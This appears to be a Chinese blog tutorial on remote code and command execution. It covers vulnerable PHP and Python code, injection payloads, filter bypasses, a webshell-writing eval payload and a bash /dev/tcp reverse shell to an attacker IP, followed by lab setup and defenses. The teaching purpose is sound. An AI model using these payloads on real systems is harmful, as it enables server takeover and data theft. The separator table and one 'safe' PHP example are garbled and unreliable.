当前位置: 首页 > news >正文

如何从一名小白成为网安大神(第二十四天)

一、学习RCE 远程代码执行漏洞

(一)基础定义与核心区分

1. 什么是 RCE

RCE(Remote Code Execution,远程代码执行):攻击者通过可控输入,在目标服务器远程执行操作系统命令服务端编程语言代码,属于最高危 0day 级漏洞,成功利用可完全接管服务器、窃取数据、横向渗透内网。

2. 两大核心分类(必须分清)

类型全称执行对象典型危险函数 (PHP 示例)漏洞成因
命令注入Remote Command ExecutionWindows/Linux 系统命令system()、shell_exec()、exec()、``反引号用户输入直接拼接系统 shell 命令
代码注入Remote Code Execution服务端编程语言 (PHP/Python/Java)eval()、assert()、create_function()用户输入被当作程序代码解释执行

简单记忆:

  • 命令注入:调用系统cmd/bash(ping、dir、ls)
  • 代码注入:调用语言解释器(phpinfo ()、os.popen ())

3. RCE 通用危害

  1. 读取服务器配置、数据库账号密码、源码
  2. 上传 Webshell 木马,持久控制网站
  3. 反弹 Shell,获得服务器交互式终端
  4. 内网扫描、端口探测、横向渗透其他主机
  5. 植入挖矿程序、勒索病毒、篡改页面数据

(二)命令注入(最易入门,优先学习)

1. 漏洞原理示例(PHP Ping 功能)

漏洞代码:

<?php $ip = $_GET['ip']; system("ping -c 4 ".$ip); // 直接拼接用户输入,无过滤 ?>

正常访问:http://xxx/?ip=8.8.8.8,执行ping -c 4 8.8.8.8

2. 命令分隔符(注入核心符号)

利用分隔符截断原有命令,拼接恶意命令:

符号适用系统作用攻击 Payload 示例
;Linux顺序执行两条命令?ip=127.0.0.1;whoami
&Windows/Linux后台并行执行?ip=127.0.0.1&dir
&&全平台前一条成功才执行后一条?ip=127.0.0.1&&cat /etc/passwd
|全平台前一条失败才执行后一条?ip=aaa|whoami
|Linux管道输出?ip=127.0.0.1|ls

3. 基础 Payload 合集

Linux 系统
  1. 查看当前用户:127.0.0.1;whoami
  2. 读取密码文件:127.0.0.1;cat /etc/passwd
  3. 查看目录文件:127.0.0.1;ls -l
  4. 反弹 Shell(最实用):
127.0.0.1;bash -i >& /dev/tcp/攻击机IP/4444 0>&1
Windows 系统
  1. 查看当前用户:127.0.0.1&whoami
  2. 列目录:127.0.0.1&dir
  3. 读取文件:127.0.0.1&type C:\windows\system32\drivers\etc\hosts

4. 过滤绕过技巧(实战高频)

  • 空格被过滤:%09(制表符)、${IFS}(Linux 环境变量空格)
  • cat被过滤:more、less、tac、nl替代
  • 关键字黑名单:大小写变形CaT、字符串拼接c""at

(三)代码注入漏洞(进阶 RCE)

1. PHP eval 漏洞示例

漏洞代码:

<?php $code = $_GET['cmd']; eval($code); // 直接执行用户输入为PHP代码 ?>

基础 Payload:

?cmd=phpinfo(); ?cmd=system('whoami'); ?cmd=fputs(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); // 写入木马

高危危险函数:eval、assert、create_function、include($user_input)

2. Python 代码注入

危险函数:exec()、eval()、os.system()漏洞示例:

import os user_input = request.args.get('cmd') eval(user_input)

Payload:__import__('os').popen('whoami').read()

3. 其他衍生 RCE 场景(高频考点)

  1. SSTI 服务端模板注入(Jinja2/Thymeleaf → RCE)
  2. 反序列化漏洞(Fastjson、Log4j2、Shiro、Struts2)
  3. 文件上传 + 解析漏洞(上传图片马配合包含漏洞执行代码)
  4. 第三方组件漏洞(Log4j2 JNDI 注入、Spring4Shell)

(四)本地靶场环境搭建(新手必做,合法复现)

方案 1:PHPStudy 快速复现命令注入(最简单)

  1. 安装 PHPStudy,新建rce.php写入漏洞代码
<?php $ip = $_GET['ip']; system("ping ".$ip); ?>
  1. 浏览器访问127.0.0.1/rce.php?ip=127.0.0.1;whoami,验证漏洞执行

方案 2:Vulhub Docker 靶场(完整漏洞库)

适合复现 Log4j2、Fastjson、Struts2 等框架 RCE

  1. 安装 Docker+docker-compose
  2. 拉取 vulhub 仓库,进入对应漏洞目录启动环境:
cd vulhub/fastjson/1.2.24-rce docker-compose up -d
  1. 访问靶机 IP 进行漏洞利用

方案 3:DVWA Web 靶场(入门首选)

内置 Command Injection(命令注入)关卡,分低 / 中 / 高难度,练习过滤绕过。


(五)实战利用流程(渗透标准步骤)

  1. 漏洞探测
    • 寻找可控参数:URL 参数、POST 表单、Cookie、HTTP 请求头
    • 测试分隔符:传入;whoami观察页面是否回显命令结果
  2. 信息收集
    • 执行whoami、id、uname -a判断系统、权限
    • 读取配置文件、网站源码路径
  3. 权限提升 / 持久化
    • 写入 Webshell 木马获取长期控制
    • 反弹交互式 Shell,完整操作服务器
  4. 内网横向
    • 扫描内网 IP、数据库、其他服务端口

反弹 Shell 完整操作(Kali 攻击机演示)

  1. Kali 监听端口:nc -lvnp 4444
  2. 目标 RCE 注入 Payload(Linux):
;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
  1. 攻击机获得目标服务器完整终端

(六)RCE 漏洞防御方案(开发 / 运维双向)

1. 开发层核心防护(根本解决)

  1. 禁止使用危险函数
    • PHP:php.ini配置disable_functions = system,exec,eval,shell_exec
    • Python/Java:避免动态执行用户可控输入(eval、反射、反序列化)
  2. 输入白名单校验(拒绝黑名单)黑名单极易绕过,只允许业务合法输入(如 IP 仅允许数字 + 点)
  3. 安全转义函数(必须参数分离)
    • PHP:escapeshellarg()单独转义参数,不要拼接字符串错误写法:system("ping ".$ip)安全写法:system("ping", [$ip])system("ping ".escapeshellarg($ip))
  4. 禁止模板引擎解析用户输入,关闭反序列化自动解析

2. 运维服务器防护

  1. 最小权限运行 Web 服务(禁止 root / 管理员启动网站)
  2. 及时更新第三方组件(Log4j、Fastjson、Spring、Struts)
  3. WAF 防火墙拦截命令分隔符、恶意函数关键字
  4. 日志监控命令执行行为,异常请求实时告警

核心防御口诀

永不信任用户输入,绝不把可控输入直接传入执行函数

http://www.jsqmd.com/news/1066842/

相关文章:

  • 【置顶干货】博主介绍,各类系统源码领取途径
  • OpenAI 兼容接口接入 Dify、Cursor、Chatbox 的排错清单
  • 专业的数字化营销供应商
  • Function Calling 本质是工具调度权移交,不是函数调用
  • 长沙黄金回收行情全解析,正规门店选址 + 避坑攻略,安全变现一站式指南 - 开心测评
  • Fourtune_ML_CTF_Challenge
  • 2026渭南金价行情解读黄金回收避坑完整攻略 - 余生黄金回收
  • 通义灵码Quest模式:AI结对编程的端到端任务闭环实践
  • Capistrano部署原理与Ruby环境避坑指南
  • 道路划线厂家避坑指南 主流服务商深度测评 - 速递信息
  • 安卓300万行老工程AI知识库:三层索引+可迭代语义图谱
  • 一文看懂fofa常用语法,告别混淆,精准打击!免责声明
  • 118、PCIE D-state与L-state关系:一次功耗优化引发的深度排查
  • 深度强化学习在无人机路径规划中的应用:多目标优化与SAR任务实践
  • Seata 核心实现剖析:AT 模式、全局锁、事务协调与 SPI 扩展
  • 【Spring Cloud 微服务】——第二章 服务注册与发现和远程调用
  • 微信网页版插件:5分钟实现跨设备免费微信聊天
  • 稠密大模型为何重获青睐:Mistral Medium 3.5架构解析
  • ChatGPT Plus 支付成功后没看到卡密怎么办?订单查询、CDK 状态和未到账排查指南
  • 签证在职证明翻译办理攻略是什么?3种方式对比,选错白花钱! - 慧办好
  • C++课后习题训练记录Day137
  • QMCDecode解密指南:3步解锁QQ音乐加密音频,Mac用户必备的格式转换神器
  • 中国汉堡加盟实操技术分享:模式、扶持与盈利逻辑拆解 - 起跑123
  • NCE外汇:把投教内容做扎实,长期观察者更容易感受到的要点
  • NaviFormer:基于Transformer与深度强化学习的端到端机器人导航规划
  • Proxelar 0.4.5 官方版下载(Windows x64,夸克网盘)
  • 2026成都黄金上门回收哪家强?教你拒绝上门压价、线上套路 - 奢品小当家
  • OpenClaw本地AI工作流部署:PowerShell+Ollama+qwen2.5:7b实战指南
  • 对话式语音虚假信息检测:从声学特征到多模态融合的实战解析
  • 深圳坪山区黄金回收六家门店当天变现到账 - 上门黄金回收